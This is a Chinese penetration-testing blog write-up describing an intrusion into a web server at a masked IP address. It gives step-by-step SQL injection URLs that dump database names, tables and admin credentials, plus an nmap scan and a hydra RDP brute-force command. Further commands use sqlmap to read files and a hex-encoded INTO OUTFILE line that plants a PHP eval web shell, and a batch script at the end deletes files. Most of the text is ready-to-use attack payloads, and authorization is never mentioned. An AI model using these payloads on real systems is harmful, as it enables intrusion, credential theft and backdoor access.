1
0X01 背景
2
0x02 注入测试
判断注入是否存在
http://11X.XX.XXX.XX/test/sub_hack.php?id=229or '1'='1'
显示数据
http://11X.XX.XXX.XX/test/sub_hack.php?id=229or '1'='2'
显示非原本数据
判断存在sql注入后,通过orderby 子句判断有几个字段
Order by从1开始,大概选个数逐个去尝试,二分法是最普通的,还可以开根法,还有是方程式法,再好玩一点就动态规划。推荐下面这篇文章,非常有趣,很好懂。
https://mp.weixin.qq.com/s/nMC55qvgsQNQfncAEOM20Q
试到前一个数返回正常,后一个报错,就说明长度是多少了,示例如下
http://11X.XX.XXX.XX/test/sub_hack.php?id=229order by 27
返回正常
那试试payload
http://11X.XX.XXX.XX/test/sub_hack.php?id=229order by 28
28返回不正常
第二步:联合查询
http://11X.XX.XXX.XX/test/sub_hack.php?id=229and 1=2 UNION SELECT1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
提交后,可以看到页面中出现可以被显示的字段编号,我们通过在响应位置替换成我们需要的查询字段和表就可以了。
对应的数字就会显示在页面中,我把对应数字改成sql语句,就会得到sql查询结果
举例子:
http://11X.XX.XXX.XX/test/sub_hack.php?id=229and 1=2 UNION SELECT1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,22,23,24,25,26,27
知识点补充:
database()查看当前数据库
@@version查询mysql版本
@@datadir查询数据库路径
查询所有数据库名:group_concat(SCHEMA_NAME)
http://11X.XX.XXX.XX/test/sub_hack.php?id=229and 1=2 UNION SELECT1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(SCHEMA_NAME),23,24,25,26,27from information_schema.schemata
查询当前数据库所有表名:group_concat(table_name)
http://11X.XX.XXX.XX/test/sub_hack.php?id=229and 1=2 UNION SELECT1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(table_name),23,24,25,26,27from information_schema.tables where table_schema=database()
上述图发现表名:admin,
要查询查询表中的字段先把表名转换为16进制(标黄为表名的16进制转换值)
group_concat(column_name)
http://11X.XX.XXX.XX/test/sub_hack.php?id=229and 1=2 UNION SELECT1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(column_name),23,24,25,26,27from information_schema.columns where table_name=0x61646D696E
发现其字段有
user_id,username,userpassword
下一步只需要查询username和userpassword即可
group_concat(username,0x7c,userpassword)
http://11X.XX.XXX.XX/test/sub_hack.php?id=229and 1=2 UNION SELECT1,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,@@version,17,18,19,20,@@datadir,group_concat(username,0x7c,userpassword),23,24,25,26,27from admin
3
0x03 峰回路转
到此,我们知道了知道用户名为admin,密码为123了
在之前已经在信息收集的地方收集到后台了,然后尝试登陆,登陆成功了
登进后台发现,是真的没有上传地方阿,也没有其他包含,redis其他服务,学信息安全的男生都不会轻易认输,再查看之前的扫描结果,灵机一动还有一根救命稻草,3389!
Starting Nmap 7.10 (https://nmap.org ) at 2015-04-04 22:54
mass_dns: warning:Unable to determine any DNS servers. Reverse DNS is disabled. Tryusing --system-dns or specify valid servers with --dns-servers
Initiating SYNStealth Scan at 22:54
Scanning11X.XX.XXX.XX [1000 port]
Completed SYNStealth Scan at 22:54, 0.18s elapsed (1 total ports)
Nmap scan report for11X.XX.XXX.XX
Host is up (0.013slatency).
PORT STATESERVICE
80/tcp open http
3306/tcp open mysql
3389/tcp open ms-wbt-server
拿出我的字典,再拿出我的hydra,快速在pentestbox敲下:
hydra -LF:cybersecusrname.txt -P F:cybersec password.txt -Vv -t 1 -w 3 -W5 11X.XX.XXX.XX rdp
结果跑了自己一个心灰意冷,毫无结果。
不过还发现开放3306端口,不是有注入吗,直接连数据库getshell呀
太心急想getshell不一步步手工了,sqlmap走起
查看权限
sqlmap-u http:// 11X.XX.XXX.XX /test/sub_hack.php?id=231 --current-user--dbms=mysql -v 3
current user: 'root@localhost'
当前用户是root
引发报错找到绝对路径+root权限那我是不是可以写shell了
sqlmap-r C:Userssqlpost.txt --time-sec 3 --dbms=mysql --random-agent -Dmysql -T user -C User,Password --dump
参数:--file-write,--file-dest
当数据库为MySQL,PostgreSQL或MicrosoftSQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。
命令如下:
Root密码md5丢到解密无果。。。
才没有放弃,醒悟发觉sqlmap有个参数—file-read,发现可以下载页面文件
下载下来就是不是能看到数据库连接的信息。
惊喜,意外
正常思路应该是这样的
SELECT0x3C3F706870206576616C28245F504F53545B276C696E65275D293B3F3E INTOOUTFILE "C:phpStudyWWWtestshell.php";
直接写shell上去
不过在这之前我尝试了下用他数据库的密码尝试去登陆远程桌面,又一个惊喜,熟悉的对话框。
4
0x04 划重点
后来才知道现在写shell的函数INTOOUTFILE默认是禁用的了
MySQL在安装时,默认的限制了文件导入导出的路径,是通过配置secure_file_priv的值来实现的
SELECT@@global.secure_file_priv;
查询当前设置的路径
5
0x05文末福利
@echooff&Setlocal enabledelayedexpansion
REM指定路径
cd/d C:Users\Desktop1
:clearwebshell
for/r . %%a in (*) do (
REM指定时间,超过此时间的文件就删
if"%%~ta" gtr "2018/06/19 21:41" echo had beendelete "%%a"
)
@pingnullnullnull -n 1 >nul
goto:clearwebshell
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/199819.html